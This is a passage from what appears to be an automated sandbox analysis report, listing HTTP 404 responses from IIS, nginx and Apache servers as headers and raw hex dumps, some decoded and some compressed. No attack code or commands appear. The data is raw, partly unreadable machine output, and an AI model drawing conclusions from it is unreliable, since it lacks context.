2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e b7 fe ce f1 c6 f7 b4 ed ce f3 3c 2f
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/8.5X-Powered-By: ASP.NETDate: Wed, 08 May 2024 12:06:03 GMTConnection: closeContent-Length: 1163Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e b7 fe ce f1 c6 f7 b4 ed ce f3 3c 2f
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/8.5X-Powered-By: ASP.NETDate: Wed, 08 May 2024 12:06:05 GMTConnection: closeContent-Length: 1163Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e b7 fe ce f1 c6 f7 b4 ed ce f3 3c 2f
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 08 May 2024 12:06:14 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeContent-Encoding: brData Raw: 38 66 0d 0a a1 18 06 00 20 06 cc ab af a4 5b 28 73 84 1c 85 17 6c 79 e0 f0 97 74 45 61 16 24 92 74 b3 81 0d 70 38 8c e7 3c 7c ae 4d 8a b1 2b e9 23 92 66 62 94 5d 6a 81 70 41 5a e9 a1 67 c0 a8 71 7b 56 69 d3 a5 0c 31 7d 73 14 43 d3 56 5c 79 30 3f d7 8b 6c 17 21 bc 41 60 04 c4 f7 0f 3a cc b7 68 b1 45 38 e3 2e e6 27 9e 1b 2b ef 8d 1b 2b 13 e2 43 2e 7b 1d e2 6a 7c 9e e0 6a 29 ff fe 8d db fd 03 d9 8a 5f 2f 90 17 94 48 3f b0 81 6a 22 cd 86 09 0d 0a 30 0d 0a 0d 0a Data Ascii: 8f [(slytEa$tp8<|M+#fb]jpAZgq{Vi1}sCV\y0?l!A`:hE8.'++C.{j|j)_/H?j"0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 08 May 2024 12:06:17 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeContent-Encoding: brData Raw: 38 66 0d 0a a1 18 06 00 20 06 cc ab af a4 5b 28 73 84 1c 85 17 6c 79 e0 f0 97 74 45 61 16 24 92 74 b3 81 0d 70 38 8c e7 3c 7c ae 4d 8a b1 2b e9 23 92 66 62 94 5d 6a 81 70 41 5a e9 a1 67 c0 a8 71 7b 56 69 d3 a5 0c 31 7d 73 14 43 d3 56 5c 79 30 3f d7 8b 6c 17 21 bc 41 60 04 c4 f7 0f 3a cc b7 68 b1 45 38 e3 2e e6 27 9e 1b 2b ef 8d 1b 2b 13 e2 43 2e 7b 1d e2 6a 7c 9e e0 6a 29 ff fe 8d db fd 03 d9 8a 5f 2f 90 17 94 48 3f b0 81 6a 22 cd 86 09 0d 0a 30 0d 0a 0d 0a Data Ascii: 8f [(slytEa$tp8<|M+#fb]jpAZgq{Vi1}sCV\y0?l!A`:hE8.'++C.{j|j)_/H?j"0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 08 May 2024 12:06:21 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeContent-Encoding: brData Raw: 38 66 0d 0a a1 18 06 00 20 06 cc ab af a4 5b 28 73 84 1c 85 17 6c 79 e0 f0 97 74 45 61 16 24 92 74 b3 81 0d 70 38 8c e7 3c 7c ae 4d 8a b1 2b e9 23 92 66 62 94 5d 6a 81 70 41 5a e9 a1 67 c0 a8 71 7b 56 69 d3 a5 0c 31 7d 73 14 43 d3 56 5c 79 30 3f d7 8b 6c 17 21 bc 41 60 04 c4 f7 0f 3a cc b7 68 b1 45 38 e3 2e e6 27 9e 1b 2b ef 8d 1b 2b 13 e2 43 2e 7b 1d e2 6a 7c 9e e0 6a 29 ff fe 8d db fd 03 d9 8a 5f 2f 90 17 94 48 3f b0 81 6a 22 cd 86 09 0d 0a 30 0d 0a 0d 0a Data Ascii: 8f [(slytEa$tp8<|M+#fb]jpAZgq{Vi1}sCV\y0?l!A`:hE8.'++C.{j|j)_/H?j"0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 08 May 2024 12:06:24 GMTContent-Type: text/html; charset=iso-8859-1Content-Length: 196Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 08 May 2024 12:06:45 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 08 May 2024 12:06:48 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 08 May 2024 12:06:50 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 08 May 2024 12:06:53 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 08 May 2024 12:07:00 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 33 36 64 0d 0a 1f 8b 08 00 00 00 00 00 04 03 75 54 4d 6f db 38 10 bd fb 57 4c 75 c9 c5 92 ec c6 31 b6 59 db 40 1b 7b 11 03 69 13 24 2a 8a 1c 29 69 64 11 a1 38 5a 92 8a 62 a0 7f 28 e7 fd 09 f9 63 3b 14 ed 6c fa b1 27 99 e4 bc f7 66 de cc 78 f1 6e 7d 7d 91 dd df 6c e0 32 fb 7c 05 37 5f 3f 5d 6d 2f 20 8a d3 f4 db e9 45 9a ae b3 75 78 98 25 93 69 9a 6e be 44 10 d5 ce b5 e7 69 da f7 7d d2 9f 26 64 76 69 76 9b d6 ae 51 b3 d4 3a 23 0b 97 94 ae 8c 56 a3 85 bf 03 25 f4 6e 19 55 66 b8 40 51 f2 7d 83 4e 80 67 89 f1 ef 4e 3e 2e a3 0b d2 0e b5 8b b3 7d 8b 11 14 e1 b4 8c 1c 3e b9 81 f8 4f 28 6a 61 2c ba 65 e7 aa f8 0f 4f 35 70 68 d1 e0 32 32 94 93 b3 6f 70 9a 34 8e 35 49 5d e2 13 7f 2b 52 8a fa 57 d0 5b e1 42 14 35 c6 5e d0 90 fa 81 21 1e 9e 7e 0b 6a 8d d8 35 e2 7f a2 b3 6d 76 b5 59 cd 26 33 f8 42 0e fe a2 4e 97 8b 34 5c 8e 16 e9 e5 e6 e3 9a 93 ff 74 bd be e7 cf e5 74 f5 26 88 4f a3 ac 46 30 6c 0a 5a 87 25 94 54 74 0d fb 02 bd b0 a0 99 ae f2 74 40 1a 5c 2d 2d 58 34 8f 68 92 d1 e2 c6 73 dd 1e 09 35 64 86 ba c7 97 67 96 63 ca 2b fc 8f a7 c4 46 e8 f2 e5 19 f4 89 80 96 49 5f 9e 1d 9f b8 78 1f 0f b6 33 50 60 e0 ed 7e 25 86 8d 1e 9c 12 25 05 ea 8d 7a a5 26 b0 a4 64 21 1d 3f 72 aa cc 01 18 a2 5f fe e1 5f e0 0b 1a 88 65 49 3f 30 7f 5c af 6f 37 77 77 ab d1 37 cc e1 6e a8 08 04 57 cc c3 b5 c7 07 ca 25 26 05 35 00 df 01 6e a8 47 c3 b6 e4 fb e1 59 f5 36 a9 cc f0 b2 5d 9f c3 ac c4 d9 74 f2 a1 98 cf a6 ef f3 b3 79 35 2f 66 93 f9 ec c3 e9 24 9f 4f cf ce 72 64 f7 5f b5 16 e9 a1 03 a9 1f fa d5 68 b4 78 17 c7 23 00 88 e1 ab ae c8 b8 4e 0b 87 6a 3f 86 cf b2 30 64 a9 72 50 b3 5d a2 2c 59 5f 40 a1 90 9d 07 8d 7d 00 45 15 0a d7 19 9e 5d 47 b0 e5 59 36 1a 1d 6c 9e 5a 45 86 3b 04 db 8a 3b 86 e0 e7 19 a8 0a 18 c1 a6 18 43 e6 c4 42 83 d6 8a 1d 02 f7 34 72 c4 e6 35 42 a9 68 0c b6 c5 42 56 b2 e0 d3 3e 80 14 47 32 15 63 cf a6 ef d9 08 87 76 fc ab 20 8f 10 67 a3 6d c0 48 67 81 fa 83 da 51 2b 81 7b ea a0 60 22 1f e9 29 7d 66 d5 38 40 f2 ce 81 74 9c 59 cb 4c 6e cf 03 22 8b 07 fe 10 54 bc 54 60 7b e9 8a 9a d1 4a 61 19 10 11 e7 6c 5c a8 e8 a8 61 a3 04 32 4f dc a0 d0 9c 27 55 bc da 1d af f1 41 65 10 b5 35 db fd 13 0e 84 41 1e 44 6d d9 bd a1 dd 25 56 a2 53 2e 09 5a db ed 1d 08 d5 8b bd 3d 16 fa 33 7e 60 f6 24 8a f4 2e 80 50 53 